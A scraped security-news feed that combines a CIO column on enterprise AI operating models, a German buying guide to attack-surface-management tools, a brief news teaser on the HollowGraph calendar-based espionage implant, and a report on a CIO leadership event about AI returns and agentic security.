<p class="wp-block-paragraph">CIOs already understand this because they have lived through enterprise resource planning programs, cloud migration, integration modernization, cybersecurity transformation and analytics initiatives. The lesson is familiar: technology cannot outrun data discipline forever.</p>



<h2 class="wp-block-heading">Security cannot be added later</h2>



<p class="wp-block-paragraph">As AI moves from answering questions to acting, security becomes much more important.</p>



<p class="wp-block-paragraph">An assistant that summarizes information carries one level of risk. An agent that can open a ticket, update a record, trigger a workflow, approve a request or contact a customer carries a very different one.</p>



<p class="wp-block-paragraph">The more AI can do, the more identity, authorization, least privilege, separation of duties and human approval matter.</p>



<p class="wp-block-paragraph">Enterprises should be careful not to grant AI broad access just to speed up a pilot. That may seem harmless in development, but it can become dangerous at scale.</p>



<p class="wp-block-paragraph">AI access should be treated like any other privileged enterprise capability: limited, logged, reviewed and easy to revoke.</p>



<p class="wp-block-paragraph">The <a href="https://www.nist.gov/itl/ai-risk-management-framework">NIST</a> AI Risk Management Framework is a useful reference point here because it frames AI risk as something organizations must govern, map, measure and manage continuously rather than something handled only at the end of deployment.</p>



<p class="wp-block-paragraph">Security teams should be involved early, not at the end. The goal is not to slow innovation. The goal is to build a platform where safe innovation becomes repeatable.</p>



<h2 class="wp-block-heading">The CIO has to define the operating model</h2>



<p class="wp-block-paragraph">AI is creating pressure from every direction. Boards want productivity. Business teams want automation. Employees want better tools. Vendors are pushing new features. Security teams are watching risk. Finance teams are watching cost. Customers expect faster, smarter experiences.</p>



<p class="wp-block-paragraph">The CIO sits in the middle of all of it.</p>



<p class="wp-block-paragraph">That is why the CIO’s role cannot stop at choosing tools or approving pilots. The CIO has to define how AI will actually operate across the enterprise.</p>



<p class="wp-block-paragraph">That means answering practical questions. Which architecture is approved? Which data sources can be trusted? How are AI workflows deployed, monitored, supported and governed? How are costs controlled? How do teams reuse common patterns instead of rebuilding the same foundation each time?</p>



<p class="wp-block-paragraph">This work may not be as exciting as a model demo, but it is what separates sustainable AI from short-term experimentation.</p>



<p class="wp-block-paragraph">The winning organizations will not be the ones with the most pilots. They will be the ones with the strongest AI operating layer.</p>



<p class="wp-block-paragraph">They will build reusable platform patterns, strengthen data governance, design access properly, monitor AI behavior end to end and measure success by business improvement, not only model performance.</p>



<p class="wp-block-paragraph">The model still matters. But the enterprise behind the model matters more.</p>



<p class="wp-block-paragraph">A powerful model on weak infrastructure will eventually disappoint the business. A capable model on strong infrastructure can deliver real value because it can be trusted, secured, scaled and improved.</p>



<p class="wp-block-paragraph">That is the shift CIOs need to lead.</p>



<p class="wp-block-paragraph">The next AI bottleneck is not the model. It is whether the enterprise behind the model is ready.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[AI Monitoring: Gaining Control Over Enterprise AI Usage]]></title>
<description><![CDATA[Gain visibility into enterprise AI usage, detect shadow AI, monitor AI interactions, and reduce sensitive data exposure with AI monitoring.]]></description>
<link>https://tsecurity.de/de/3683071/it-security-nachrichten/ai-monitoring-gaining-control-over-enterprise-ai-usage/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683071/it-security-nachrichten/ai-monitoring-gaining-control-over-enterprise-ai-usage/</guid>
<pubDate>Tue, 21 Jul 2026 10:54:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Gain visibility into enterprise AI usage, detect shadow AI, monitor AI interactions, and reduce sensitive data exposure with AI monitoring.]]></content:encoded>
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<title><![CDATA[The air gap is a myth and other OT security truths]]></title>
<description><![CDATA[Benjamin Bachmann, Director Group Information Security at Bilfinger, speaks with Help Net Security about defending industrial plants. He explains why attackers want to control operations instead of stealing data, and why the air gap is mostly a myth. Bachmann covers how containment plans get nego...]]></description>
<link>https://tsecurity.de/de/3682829/it-security-nachrichten/the-air-gap-is-a-myth-and-other-ot-security-truths/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682829/it-security-nachrichten/the-air-gap-is-a-myth-and-other-ot-security-truths/</guid>
<pubDate>Tue, 21 Jul 2026 08:24:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Benjamin Bachmann, Director Group Information Security at Bilfinger, speaks with Help Net Security about defending industrial plants. He explains why attackers want to control operations instead of stealing data, and why the air gap is mostly a myth. Bachmann covers how containment plans get negotiated before an incident, how to build visibility on old equipment through network monitoring, and how ransomware crews price their demands on downtime. He also questions the idea that people are … <a href="https://www.helpnetsecurity.com/2026/07/21/benjamin-bachmann-bilfinger-ot-security/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/21/benjamin-bachmann-bilfinger-ot-security/">The air gap is a myth and other OT security truths</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Attack Surface Management – ein Kaufratgeber]]></title>
<description><![CDATA[Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafür, dass sich Angreifer gar nicht erst verbeißen.Sergey Zaykov | shutterstock.com



Regelmäßige Netzwerk-Scans reichen für eine gehärtete Angriffsfläche nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundenda...]]></description>
<link>https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/</guid>
<pubDate>Tue, 21 Jul 2026 06:24:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/Sergey-Zaykov-shutterstock_1617411478_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Cat Bite 16z9" class="wp-image-4082002" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafür, dass sich Angreifer gar nicht erst verbeißen.</figcaption></figure><p class="imageCredit">Sergey Zaykov | shutterstock.com</p></div>



<p class="wp-block-paragraph">Regelmäßige Netzwerk-Scans reichen für eine gehärtete Angriffsfläche nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundendaten zu gewährleisten, ist eine kontinuierliche Überwachung auf neue Ressourcen und Konfigurationsabweichungen erforderlich. Werkzeuge aus den Bereichen <strong>Cyber Asset Attack Surface Management (CAASM)</strong> sowie <strong>External Attack Surface Management (EASM)</strong> sind darauf ausgelegt, die Angriffsfläche von Unternehmen:</p>



<ul class="wp-block-list">
<li><p> zu quantifizieren,</p></li>



<li><p> zu minimieren, und</p></li>



<li><p> zu härten.</p></li>
</ul>



<p class="wp-block-paragraph">Das Ziel besteht dabei darin, den Angreifern <a title="möglichst wenig Informationen" href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">möglichst wenig Informationen</a> über das Security-Niveau des Unternehmens zu geben und gleichzeitig kritische Business Services aufrechtzuerhalten. Dabei spielt inzwischen auch Agentic AI eine immer größere Rolle. </p>



<h2 class="wp-block-heading">12 Attack-Surface-Management-Tools</h2>



<p class="wp-block-paragraph">Die folgenden zwölf Lösungen unterstützen Sie dabei, Risiken zu identifizieren und zu managen.</p>



<p class="wp-block-paragraph"><a href="https://www.axonius.com/platform" target="_blank" rel="noreferrer noopener"><strong>Axonius Cyber Asset Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Diese CAASM-Suite von Axonius deckt alle wichtigen Aspekte ab, wenn es um Attack Surface Monitoring geht. Das Tool erstellt zunächst ein Asset-Inventar, das automatisch aktualisiert und mit Kontext aus internen Datenquellen und Ressourcen angereichert wird.</p>



<p class="wp-block-paragraph">Dabei ist es auch möglich, Monitoring-Prozesse aufzusetzen, die auf Grundlage von Richtlinien wie PCI oder HIPAA ablaufen. So lassen sich Konfigurationen oder Schwachstellen identifizieren, die diesen zuwiderlaufen und entsprechende Maßnahmen ergreifen.</p>



<p class="wp-block-paragraph"><a href="https://www.bugcrowd.com/products/attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Bugcrowd EASM</strong></a></p>



<p class="wp-block-paragraph">Bugcrowd hat im Mai 2024 Informer.io übernommen und dessen EASM-Angebot in seine Security-Plattform integriert. Diese automatisiert die Asset Discovery über Webapplikationen, APIs und andere “public facing”-Komponenten des IT-Stacks hinweg.</p>



<p class="wp-block-paragraph">Assets überwacht die Lösung kontinuierlich, wobei identifizierte Risiken in Echtzeit priorisiert werden. Darüber hinaus stehen auch Zusatz-Services wie manuelle Risikoprüfungen oder Penetrationstests zur Verfügung. Das Workflow-basierte Response-System der Lösung verspricht eine einfachere Einbindung mehrerer Teams, indem existierende Ticketing- und Kommunikations-Tools integriert werden. Praktisch ist auch die Möglichkeit, Konfigurationsänderungen oder System Updates zu validieren, um sicherzustellen, dass identifizierte Bedrohungen tatsächlich bereinigt wurden.  </p>



<p class="wp-block-paragraph"><a href="https://www.crowdstrike.com/products/security-and-it-operations/falcon-surface/" target="_blank" rel="noreferrer noopener"><strong>CrowdStrike Falcon Exposure Management</strong></a></p>



<p class="wp-block-paragraph">Crowdstrike hat sein Falcon-Surface-Angebot von einem Standalone EASM-Tool zu einem Kernbestandteil von Falcon Exposure Management ausgebaut. Die Lösung wird nun auch durch KI-nativen Code dabei unterstützt, Risiken zu identifizieren und auszuschalten. Darüber hinaus kommt die Technologie auch für Adversarial-AI-Szenarien zum Einsatz.</p>



<p class="wp-block-paragraph">Die Crowdstrike-Lösung kann außerdem:</p>



<ul class="wp-block-list">
<li>Risiken mit dem Business-Kontext korrelieren,</li>



<li>die Ausnutzbarkeit validieren und</li>



<li>direkte Abhilfemaßnahmen über die Falcon-Plattform einleiten.</li>
</ul>



<p class="wp-block-paragraph">Unternehmen sollen sich mit dem Tool einen nachhaltigen Überblick über ihre Angriffsfläche verschaffen und Risiken oder Bedrohungen mit einer Vielzahl von Techniken aufspüren können. Dazu gehören etwa aktive, passive und API-basierte Scans, um mit dem Internet verbundene Ressourcen zu identifizieren.</p>



<p class="wp-block-paragraph">Falcon Exposure Management ist nicht Teil des Enterprise-Softwarepakets von Crowdstrike. Es kann als Abonnementlizenz auf Basis der gemanagten Endpunkte erworben werden.</p>



<p class="wp-block-paragraph"><a href="https://www.cycognito.com/attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>CyCognito Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Das CAASM-Produkt von CyCognito bietet eine kontinuierliche Überwachung und Inventarisierung von Assets. Dabei spielt es keine Rolle, ob diese On-Premises, in der Cloud, bei einem Drittanbieter oder einer Tochtergesellschaft vorliegen.</p>



<p class="wp-block-paragraph">Um den Triage-Prozess und die Risiko-Priorisierung zu erleichtern, kann auch Business-Kontext hinzugefügt werden (beispielsweise Beziehungen zwischen einzelnen Assets). Das hilft dabei, sich auf die wichtigsten Netzwerkrisiken zu konzentrieren. CyCognitos Tool verfolgt darüber hinaus auch Konfigurationsänderungen und ermöglicht so, neue Risiken für die Unternehmensinfrastruktur schnell zu identifizieren.</p>



<p class="wp-block-paragraph"><a href="https://www.jupiterone.com/cyber-asset-attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>JupiterOne Cyber Asset Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">JupiterOne preist seine CAASM-Lösung als eine Möglichkeit an, “Cyber-Asset-Daten nahtlos in einer einheitlichen Ansicht zu aggregieren”. Der Kontext wird bei Bedarf automatisch hinzugefügt, und die Beziehungen zwischen den Assets können definiert und optimiert werden, um <a href="https://www.csoonline.com/article/3495294/schwachstellen-managen-die-6-besten-vulnerability-management-tools.html" target="_blank">Schwachstellenanalyse</a> und Incident-Response-Fähigkeiten zu verbessern.</p>



<p class="wp-block-paragraph">Benutzerdefinierte Abfragen ermöglichen es Cybersecurity-Teams, komplexe Fragen zu beantworten, während der Asset-Bestand über eine interaktive Map durchsucht werden kann. Die Security-Tools, in die Sie bereits investiert haben, können Sie integrieren – was eine ganzheitliche, zentralisierte Perspektive auf das Security-Niveau zulässt.</p>



<p class="wp-block-paragraph"><a href="https://azure.microsoft.com/de-de/products/defender-external-attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Microsoft Defender External Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Microsoft Defender EASM erkennt nicht verwaltete Assets und Ressourcen, die per Schatten-IT bereitgestellt werden oder sich auf anderen Cloud-Plattformen befinden. Sobald die Assets und Ressourcen identifiziert sind, sucht das Tool nach Schwachstellen auf jeder Ebene des Technologie-Stacks, einschließlich der zugrunde liegenden Plattform, App-Frameworks, Webanwendungen, Komponenten und des Kerncodes.</p>



<p class="wp-block-paragraph">Defender EASM ermöglicht es IT-Profis, Schwachstellen in neu entdeckten Ressourcen schnell zu beheben, indem diese nach Entdeckung in Echtzeit kategorisiert und priorisiert werden. Naturgemäß lässt sich Defender EASM eng mit anderen Microsoft-Lösungen wie Security Copilot integrieren.</p>



<p class="wp-block-paragraph"><a href="https://outpost24.com/products/external-attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>Outpost24 EASM</strong></a></p>



<p class="wp-block-paragraph">Der schwedische Anbieter Outpost24 hat 2023 den belgischen EASM-Anbieter Sweepatic übernommen und dessen Tool in seine Modul-Kollektion für Threat Intelligence, Data Leakage und Pentesting integriert. Diese EASM-Lösung ist sowohl Standalone, als auch als Managed Service erhältlich und kann Daten entweder passiv über DNS und andere TCP/IP-Details oder über direkte Verbindungen zu Cloud-Anbietern wie AWS und Azure sowie den Lösungen großer Softwareanbieter (etwa ServiceNow, Slack oder Atlassian) erfassen.</p>



<p class="wp-block-paragraph"><a href="https://www.paloaltonetworks.com/cortex/cortex-xpanse" target="_blank" rel="noreferrer noopener"><strong>Palo Alto Networks Cortex Xpanse</strong></a></p>



<p class="wp-block-paragraph">Xpanse ist Teil der XSIAM-Produktsuite von Palo Alto, kann jedoch auch separat erworben werden. Das Standalone-Produkt hat allerdings einen etwas geringeren Funktionsumfang.</p>



<p class="wp-block-paragraph">Das Palo-Alto-Tool unterstützt auch die Integration mit Tools von Drittanbietern wie Qualys, Jira und ServiceNow. Zudem verfügt das Produkt über eine beeindruckende Auswahl an vorgefertigten Detection-Regeln, Widgets, um Queries und Discovery-Routinen zu erstellen und anpassbare Daten-Dashboards aufzusetzen.</p>



<p class="wp-block-paragraph"><a href="https://www.rapid7.com/de/products/command/attack-surface-management-asm/" target="_blank" rel="noreferrer noopener"><strong>Rapid7 Surface Command</strong></a></p>



<p class="wp-block-paragraph">Surface Command ist nur eines von zahlreichen Modulen, das Rapid7 im Angebot hat (unter anderem Vulnerability und Incident Management sowie Cloud-Native Security). Das Tool bringt Threat Exposure, Detection und Response unter einen Nenner und verspricht eine kontinuierliche „Vogelperspektive“ über sämtliche Schwachstellen – vom Endpunkt bis hin zur Cloud.</p>



<p class="wp-block-paragraph">Das Rapid-7-Tool ist darauf konzipiert, blinde Flecken in der Security aufzuspüren sowie Reaktion und Behebung zu beschleunigen. Für letzteres sind zudem auch agentenbasierte KI-Funktionen enthalten.</p>



<p class="wp-block-paragraph"><a href="https://riskprofiler.io/" target="_blank" rel="noreferrer noopener"><strong>RiskProfiler EASM</strong></a></p>



<p class="wp-block-paragraph">Über die RiskProfiler-Plattform lassen sich sämtliche externen Bedrohungen managen. Das Tool ermöglicht beispielsweise <a href="https://www.computerwoche.de/article/3495708/bedrohungs-monitoring-die-10-besten-tools-zur-darknet-uberwachung.html" target="_blank">Dark-Web-Monitoring</a>, digitales Monitoring sowie Hacking-Kampagnen, Schwachstellen und Supply-Chain-Angriffe zu tracken. Die hieraus gewonnenen Bedrohungsinformationen werden von KI-Agenten zu einem einheitlichen Korpus verdichtet.</p>



<p class="wp-block-paragraph">Bestandteil des Tools sind zudem mehr als 13.000 vorinstallierte Regeln, die sowohl Open-Source- als auch eigene proprietäre Algorithmen miteinander verbinden. Auch die Risikobewertungen von Drittanbietern werden analysiert. Ein anpassbares Management-Dashboard visualisiert die Daten in diversen Ansichten. </p>



<p class="wp-block-paragraph"><a href="https://socradar.io/suites/attack-surface-management/" target="_blank" rel="noreferrer noopener"><strong>SOCRadar AttackMapper</strong></a></p>



<p class="wp-block-paragraph">Mit AttackMapper (ein Teil der Tool-Suite für SOC-Teams), will SOCRadar, den Anwendern die Sicht der Angreifer auf die Assets ermöglichen. Das Tool überwacht Assets mithilfe von Agentic AI dynamisch in Echtzeit, identifiziert neue oder veränderte und analysiert sie auf potenzielle Schwachstellen.</p>



<p class="wp-block-paragraph">Die Ergebnisse werden mit bekannten Angriffsmethoden korreliert, um den Entscheidungsfindungs- und Triageprozess zu unterstützen. Dabei überwacht AttackMapper nicht nur Endpunkte und Software Vulnerabilities, sondern auch SSL-Schwachstellen, abgelaufene Zertifikate, DNS-Einträge und Konfigurationen. Das Tool erkennt selbst Website-Defacement-Angriffe, was entscheidend sein kann, um die Markenreputation zu schützen.</p>



<p class="wp-block-paragraph"><a href="https://de.tenable.com/products/attack-surface-management" target="_blank" rel="noreferrer noopener"><strong>Tenable Attack Surface Management</strong></a></p>



<p class="wp-block-paragraph">Tenable hat schon seit einigen Jahren Tools im Angebot, um Schwachstellen aufzuspüren – und auch die aktuelle Tool-Suite wird modernen IT-Sicherheitsanforderungen gerecht. Bei Tenable Attack Surface Management handelt es sich um das EASM-Modul des Unternehmens, das in dessen Exposure-Management-Plattform „One“ integriert ist.</p>



<p class="wp-block-paragraph">Tenable Attack Surface Management liefert Kontext und Details zu Assets und Schwachstellen, allerdings nicht nur aus technischer Sicht, sondern auch auf Business-Ebene, was für eine umfassende Priorisierung der Maßnahmen erforderlich ist.</p>



<h2 class="wp-block-heading">7 Fragen vor dem ASM-Invest</h2>



<p class="wp-block-paragraph">Die folgenden Fragen sollten Sie sich und potenziellen Anbietern von Attack-Surface-Management-Lösungen stellen, bevor Sie einen Vertrag unterzeichnen.</p>



<ul class="wp-block-list">
<li><strong>Benötigt unser Unternehmen eine EASM- oder eine CAASM-Lösung?</strong> Die Antwort darauf hängt davon ab, ob Sie nach internen oder externen Angreifern suchen – und wie groß der Anteil Ihrer lokalen Infrastruktur ist.</li>



<li><strong>Wie umfangreich – und effektiv – ist das Tool automatisiert?</strong> Erkennt es zuverlässig alle anfälligen Ressoucren, einschließlich digitaler Zertifikate, offengelegter Anmeldedaten und mit dem Netz verbundene Server und Services? Welche Metadaten und weiteren Details liefert die Lösung?  </li>



<li><strong>Wie behebt die Lösung Schwachstellen, wenn sie welche findet?</strong> Läuft das automatisiert ab oder sind manuelle Eingriffe erforderlich?</li>



<li><strong>Unterstützt das Tool Continuous Monitoring?</strong> Und falls ja: Wie werden Veränderungen nachgehalten?</li>



<li><strong>Welche Schwachstellen werden wie mit anderen SOC-Tools geteilt oder integriert?</strong></li>



<li><strong>Gibt es unterschiedliche Dashboards für Management- und andere Zwecke?</strong> Beziehungsweise: Wie lässt sich das Tool auf unterschiedliche Benutzergruppen anpassen?</li>



<li><strong>Wie sieht ihre Preisgestaltung im Detail aus?</strong> Stellen Sie sicher, dass Sie das Preisgefüge des Anbieters Ihrer Wahl wirklich verstehen. In den meisten Fällen sind Sie dabei mit komplexen, nutzungsabhängigen Abrechnungsmodellen konfrontiert.</li>
</ul>



<p class="wp-block-paragraph">(fm)</p>



<p class="wp-block-paragraph"><strong>Dieser Beitrag ist <a href="https://www.csoonline.com/article/574797/9-attack-surface-discovery-and-management-tools.html" target="_blank">im Original</a> bei unserer Schwesterpublikation CSOonline.com erschienen.</strong></p>
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<title><![CDATA[HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neu entdeckte Spionage-Implant-Variante nutzt Microsoft 365 Kalender als verschleierten Kommando- und Datenkanal. Das Vorgehen läuft über legitimen Microsoft Graph API-Traffic und hinterlässt daher bei vielen Baseline-Analysen kaum auffällige Muster. Zusätzlich aktuali...]]></description>
<link>https://tsecurity.de/de/3682586/it-security-nachrichten/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682586/it-security-nachrichten/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern/</guid>
<pubDate>Tue, 21 Jul 2026 05:08:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-hollowgraph-m365-calendar-dead-drop-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neu entdeckte Spionage-Implant-Variante nutzt Microsoft 365 Kalender als verschleierten Kommando- und Datenkanal. Das Vorgehen läuft über legitimen Microsoft Graph API-Traffic und hinterlässt daher bei vielen Baseline-Analysen kaum auffällige Muster. Zusätzlich aktualisiert die Malware über DNS Entra-ID-Zugangsdaten, um die App-Berechtigungen am Leben zu halten. Für Unternehmen wird vor allem das Monitoring […]</p>
<div><a href="https://www.it-boltwise.de/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern.html">... den vollständigen Artikel <strong>»HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/hollowgraph-tarnt-kommando-und-datenabfluss-in-microsoft-365-kalendern.html">HollowGraph tarnt Kommando und Datenabfluss in Microsoft-365-Kalendern</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]></title>
<description><![CDATA[Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.



Several key areas of consen...]]></description>
<link>https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/</guid>
<pubDate>Tue, 21 Jul 2026 01:07:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York</a>, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.</p>



<p class="wp-block-paragraph">Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.</p>



<p class="wp-block-paragraph">Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.</p>



<h2 class="wp-block-heading">Morning roundtable tackles AI infrastructure</h2>



<p class="wp-block-paragraph">The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.</p>



<p class="wp-block-paragraph">The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.</p>



<p class="wp-block-paragraph">The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.</p>



<h2 class="wp-block-heading">Forum sessions open with a mandate for growth</h2>



<p class="wp-block-paragraph">Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.</p>



<p class="wp-block-paragraph">PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.</p>



<p class="wp-block-paragraph">The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.</p>



<h2 class="wp-block-heading">Talent, tradeoffs, and the cost of getting it wrong</h2>



<p class="wp-block-paragraph">The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.</p>



<p class="wp-block-paragraph">The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.</p>



<p class="wp-block-paragraph">Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.</p>



<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



